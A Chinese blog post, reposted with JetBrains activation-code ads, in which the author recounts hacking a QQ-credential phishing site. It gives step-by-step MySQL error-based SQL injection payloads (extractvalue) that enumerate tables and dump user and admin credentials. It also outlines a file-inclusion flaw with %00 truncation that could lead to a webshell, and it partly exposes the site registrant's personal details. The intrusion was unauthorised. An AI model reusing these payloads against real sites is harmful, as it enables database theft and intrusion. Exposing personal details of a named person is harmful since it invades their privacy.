大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。
Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺
一、信息收集
在一个风和日丽的下午,突然在我们专业群里面有位同学发来一个二维码要收集信息,说需要微信扫描后填写信息
像这种二维码,这种介绍,一眼就看出它不是好东西。闲的没事干的我,就准备爆入它,刚好给我这小白练练手。果不其然。这种假页面,就是不法分子用来收集信息的,而且除了能输入外,底下的忘记密码和注册新账号根本点不动。啊,太假了。不知道害了多少人。
这里我直接用了一个信息收集网站,输入域名后自动收集,用nmap扫了扫。信息收集网站:TideFinger 潮汐指纹 TideFinger 潮汐指纹
操作系统:Linux(操作系统也可以直接将域名中随便一个字母改变大小写看网站反应,linux大小写敏感会报错,windows不敏感)
中间件:nginx
后端语言:php
ip:45.xxx.xxx.xxx(美国)
开放端口:21/tcp open ftp
80/tcp open http
888/tcp open accessbuilder
域名注册人邮箱:26618xxxxx@qq.com(搜了一下是贵州的,今年19岁)
目录扫描:2.rar(我下载下来是源码泄露了,先不管这个,黑盒测试一波)
二、漏洞发现
看见这输入框我就想注入,先不管其他的,试试再说。浏览器开启的代理,准备用burp拦截,但是burp还没有反应,浏览器这边提示必须输入数字。由此判断是前端限制。
这里可以直接浏览器f12删除type=”number”绕过前端限制。接下来burp拦截。
网站直接报错,反应头还提示为什么错,直接暴露表和字段,可能debug没关。
直接报错注入,用extractvalue()
(1)条件1:secure_file_priv无限制
(2)条件2:目录权限可读
(3)限制:extractvalue()函数最多读取32个字符
payload:’and(select extractvalue(1,concat(0x7e,(select database()))))直接拼接在u后面,数据库是w01
访问url/2.rar下载压缩包,解压发现是网站源码
发现w1是网站后台需要账户密码
三、漏洞利用
接下来就好办多了
数据库版本是5.6.50(information_schema保存了MySQL服务器所有数据库的信息。 如数据库名,数据库的表(mysql 5.0以上有),5.0以下只能通过爆破猜表名字段)
查数据库名:u=’and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:u=’and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:u=’and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=”TABLE_NAME”))))
爆数据:u=’and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
因为之前回应头注释已经暴露了表名和字段,也可以直接查。这就是他们收集的QQ号密码了(因为extractvalue()函数最多读取32个字符可以使用limit在后面限制输出,第一个数字代表从第几行数据输出,第二个数字代表输出几行数据)
payload:u=’and(select extractvalue(3,concat(0x7e,(select user_name from cc_users limit 0,1 ))))#
爆相应的密码
payload:u=’and(select extractvalue(3,concat(0x7e,(select user_psw from cc_users limit 0,1 ))))#
当然,通过源码泄露我直接收集了所有表名
回到我们的源码,后台登录的地方,直接代码审计,发现后台账户密码在cc_admins这张表里面
报错注入把所有字段都爆出来
payload:u=’and(select extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name=”cc_admins” limit 0,1))))#(改变0到7,爆出8个字段)
报错注入把对应字段的数据爆出来
payload:u=’and(select extractvalue(1,concat(0x7e,(select f_userName from cc_admins limit 0,1))))#(改变字段值)
f_id, f_userPwd(e19d5cd5af0378da05f63f891c7467a), f_userName(admin),f_groupid(1), f_status(1), f_tag(100),f_psw(abcd1234),f_reg_time(1533386669)
用sqlmap跑不动,我也不知道为啥,只能手动注入了
账号:admin 密码:abcd1234。成功进入后台,后台记录着受骗者的QQ和密码还有其他重要信息。
这里报错得到了网站绝对路径,但是mysql不是root权限,没办法插入一句话木马得到webshell
通过审计代码发现有一个备份王,在网上搜索相关漏洞没找出来
但是发现在/config/sbak/phomebak.php这个文件中发现$mypath可控,跟进代码
这个Ebak_BakExe函数没有对mypath做任何过滤处理就包含了,想到了%00截断后面路径,这样上传带木马的图片就可以利用这个文件包含漏洞,但是前提是先能找到这个备份王的账号密码,没有办法直接跳过登录,访问这个页面。
就在我正要进行下一步的时候,他跑路了……………..
后台有一个可以上传文件的地方,但是我没有看出来有什么漏洞。
四、总结
入一半突然没了。先是通过信息收集,网站源码泄露下载到源码,发现网站后台路径。然后通过网站收集qq密码的页面发现了报错注入,由此得到了后台账号和密码,进入后台。通过源码审计发现”备份王“的文件包含漏洞,接下来准备再通过注入得到”备份王“的账号和密码,然后就可以利用这个漏洞,再在后台尝试文件上传漏洞,如果可以。两个洞配合拿到websell。可惜啊!他跑路了。无了。
我也不知道他收集qq和密码有什么目的,现在登录qq都需要手机端验证,有可能撞库其他什么平台密码。
发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/172681.html原文链接:https://javaforall.cn
【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛
【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...